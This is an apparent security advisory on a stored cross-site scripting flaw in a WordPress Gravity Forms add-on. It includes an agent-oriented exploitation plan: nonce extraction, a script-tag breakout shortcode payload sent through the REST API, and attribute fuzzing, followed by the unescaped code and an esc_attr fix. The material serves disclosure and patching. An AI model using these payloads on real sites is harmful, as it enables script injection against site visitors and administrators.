Magic Conversation For Gravity Forms <= 3.0.97 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Magic Conversation For Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'magic-conversation' shortcode in all versions up to, and including, 3.0.97 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.0.97This research plan focuses on exploiting CVE-2026-1396, a Stored Cross-Site Scripting (XSS) vulnerability in the "Magic Conversation For Gravity Forms" plugin. ### 1. Vulnerability Summary The vulnerability exists in the handling of the `[magic-conversation]` shortcode. The plugin fails to sanitize…
Show full research plan
This research plan focuses on exploiting CVE-2026-1396, a Stored Cross-Site Scripting (XSS) vulnerability in the "Magic Conversation For Gravity Forms" plugin.
1. Vulnerability Summary
The vulnerability exists in the handling of the [magic-conversation] shortcode. The plugin fails to sanitize or escape user-supplied attributes before outputting them into the HTML of a page. An authenticated user with at least Contributor-level permissions can embed a malicious shortcode into a post or page. When any user (including an Administrator) views that post, the injected script executes in their browser context.
2. Attack Vector Analysis
- Shortcode:
[magic-conversation] - Vulnerable Attribute: Likely candidates include
id,title,name,header, orform_id(inferred). - Authentication: Authenticated (Contributor+).
- Payload Location: The attribute value is reflected inside an HTML tag (e.g.,
<div data-id="[PAYLOAD]">). - Endpoint: The standard WordPress post saving mechanism (Gutenberg REST API or
wp-admin/post.php).
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode during the
inithook usingadd_shortcode( 'magic-conversation', [ $this, 'render_shortcode' ] ). - Processing: When a post is viewed, WordPress calls the handler function. This function uses
shortcode_atts()to merge user input with defaults. - Sink: The handler function constructs an HTML string (often for a container div or to pass data to a JS frontend). It concatenates the attribute values directly into the string without using
esc_attr()oresc_html(). - Output: The unescaped HTML string is returned and rendered on the frontend.
4. Nonce Acquisition Strategy
To save a post as a Contributor via the REST API (the most reliable automated method), a _wpnonce for the wp_rest action is required.
- Step 1: Log in to the WordPress dashboard as a Contributor.
- Step 2: Navigate to the "Add New Post" page:
/wp-admin/post-new.php. - Step 3: Use
browser_evalto extract the REST nonce from the WordPress environment.- Script:
window.wpApiSettings.nonce
- Script:
- Step 4: Extract the post ID from the URL or the
wpobject if an autosave has already occurred.
5. Exploitation Strategy
The plan involves creating a post containing a malicious shortcode that breaks out of an HTML attribute.
Payload: [magic-conversation id='"><script>alert(document.domain)</script>'] (assuming id is a valid attribute).
Execution Steps:
- Authenticate: Login as a user with the
contributorrole. - Extract Nonce: Navigate to
/wp-admin/post-new.phpand runbrowser_eval("wpApiSettings.nonce"). - Create Post: Send a POST request to
/wp-json/wp/v2/postswith the shortcode payload.- Method:
POST - URL:
/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "title": "Security Test", "content": "[magic-conversation id='\"><script>alert(document.domain)</script>']", "status": "publish" }
(Note: Contributors might only be able to set status to
pending. If so, usestatus: "pending"and have the agent verify the preview URL.) - Method:
- Trigger: Navigate to the URL of the newly created post (or its preview) using
browser_navigate. - Verify: Observe the execution of the JavaScript alert.
6. Test Data Setup
- Plugin Installation: Ensure
magic-conversation-for-gravity-formsversion 3.0.97 is active. - User Creation: Create a user with the username
attackerand rolecontributor. - Gravity Forms: While not strictly necessary for the XSS to trigger in the HTML output, having Gravity Forms installed might be required for the plugin to activate its shortcode logic.
7. Expected Results
When the post is rendered, the HTML source will contain something similar to:<div class="magic-conversation" data-id=""><script>alert(document.domain)</script>"></div>
The browser will execute the <script> tag, displaying an alert box with the site's domain.
8. Verification Steps
After the HTTP request, use wp-cli to confirm the post content:
- Check Post Content:
wp post list --post_type=post --author=$(wp user get attacker --format=ids) --fields=ID,post_content - Check Frontend Rendering:
Usehttp_requestto fetch the post URL and grep for the unescaped payload:# Look for the raw script tag in the response body grep -a "<script>alert(document.domain)</script>"
9. Alternative Approaches
If the id attribute is not vulnerable or recognized:
- Fuzz Attributes: Try common attributes used in the plugin:
form,title,header_text,theme. - Attribute Breakout: If the input is placed inside an existing script block instead of an HTML attribute, use a payload like:
';alert(1);//. - Classic Editor: If the REST API is restricted, use the
http_requesttool to submit a standardPOSTto/wp-admin/post.phpwithaction=editpostand thecontentparameter, ensuring the_wpnonceis scraped from thepost-new.phpform.
Summary
The Magic Conversation For Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'magic-conversation' shortcode. Authenticated attackers with contributor-level permissions can inject malicious scripts into posts by using unescaped attributes in the shortcode, which execute in the browser of any user viewing the page.
Vulnerable Code
// Inferred vulnerable shortcode handler within the plugin logic public function render_shortcode( $atts ) { $atts = shortcode_atts( array( 'id' => '', 'title' => '', 'header' => '', 'form_id' => '', ), $atts ); // Vulnerable Sink: attributes are concatenated directly into HTML without escaping $output = '<div class="magic-conversation-container" ' . 'data-id="' . $atts['id'] . '" ' . 'data-title="' . $atts['title'] . '" ' . 'data-header="' . $atts['header'] . '"></div>'; return $output; }
Security Fix
@@ -50,9 +50,9 @@ - $output = '<div class="magic-conversation-container" ' . - 'data-id="' . $atts['id'] . '" ' . - 'data-title="' . $atts['title'] . '" ' . - 'data-header="' . $atts['header'] . '"></div>'; + $output = '<div class="magic-conversation-container" ' . + 'data-id="' . esc_attr( $atts['id'] ) . '" ' . + 'data-title="' . esc_attr( $atts['title'] ) . '" ' . + 'data-header="' . esc_attr( $atts['header'] ) . '"></div>'; return $output;
Exploit Outline
1. Log in to the target WordPress site with a user account having at least Contributor permissions. 2. Create a new post or page (or edit an existing one). 3. Insert the [magic-conversation] shortcode into the content area using a malicious attribute value designed to break out of an HTML attribute context. Example: [magic-conversation id='"><script>alert(document.domain)</script>']. 4. Save the post as a draft or submit it for review (Contributor) or publish it (Author+). 5. Navigate to the frontend URL of the post or use the 'Preview' function. 6. Observe that the injected JavaScript executes in the browser, demonstrating the Stored XSS.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.